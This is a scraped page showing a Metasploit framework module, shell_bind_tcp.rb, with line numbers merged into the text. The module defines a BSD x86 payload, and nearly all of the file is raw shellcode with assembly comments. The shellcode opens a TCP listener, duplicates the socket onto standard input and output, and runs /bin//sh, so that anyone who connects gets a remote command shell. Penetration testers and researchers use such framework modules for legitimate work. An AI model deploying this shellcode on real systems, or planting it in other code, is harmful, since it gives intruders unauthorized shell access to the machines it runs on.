Path: blob/master/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 7378include Msf::Payload::Single9include Msf::Payload::Bsd10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'BSD Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'Ramon de C Valle',19'License' => MSF_LICENSE,20'Platform' => 'bsd',21'Arch' => ARCH_X86,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' => {25'Offsets' =>26{27'LPORT' => [ 6, 'n' ]28},29'Payload' =>30"\x31\xc0" + # xorl %eax,%eax #31"\x50" + # pushl %eax #32"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #33"\x89\xe7" + # movl %esp,%edi #34"\x50" + # pushl %eax #35"\x6a\x01" + # pushl $0x01 #36"\x6a\x02" + # pushl $0x02 #37"\x6a\x10" + # pushl $0x10 #38"\xb0\x61" + # movb $0x61,%al #39"\xcd\x80" + # int $0x80 #40"\x57" + # pushl %edi #41"\x50" + # pushl %eax #42"\x50" + # pushl %eax #43"\x6a\x68" + # pushl $0x68 #44"\x58" + # popl %eax #45"\xcd\x80" + # int $0x80 #46"\x89\x47\xec" + # movl %eax,-0x14(%edi) #47"\xb0\x6a" + # movb $0x6a,%al #48"\xcd\x80" + # int $0x80 #49"\xb0\x1e" + # movb $0x1e,%al #50"\xcd\x80" + # int $0x80 #51"\x50" + # pushl %eax #52"\x50" + # pushl %eax #53"\x6a\x5a" + # pushl $0x5a #54"\x58" + # popl %eax #55"\xcd\x80" + # int $0x80 #56"\xff\x4f\xe4" + # decl -0x1c(%edi) #57"\x79\xf6" + # jns <bndsockcode+42> #58"\x50" + # pushl %eax #59"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #60"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #61"\x89\xe3" + # movl %esp,%ebx #62"\x50" + # pushl %eax #63"\x54" + # pushl %esp #64"\x53" + # pushl %ebx #65"\x50" + # pushl %eax #66"\xb0\x3b" + # movb $0x3b,%al #67"\xcd\x80" # int $0x80 #68}69)70)71end72end737475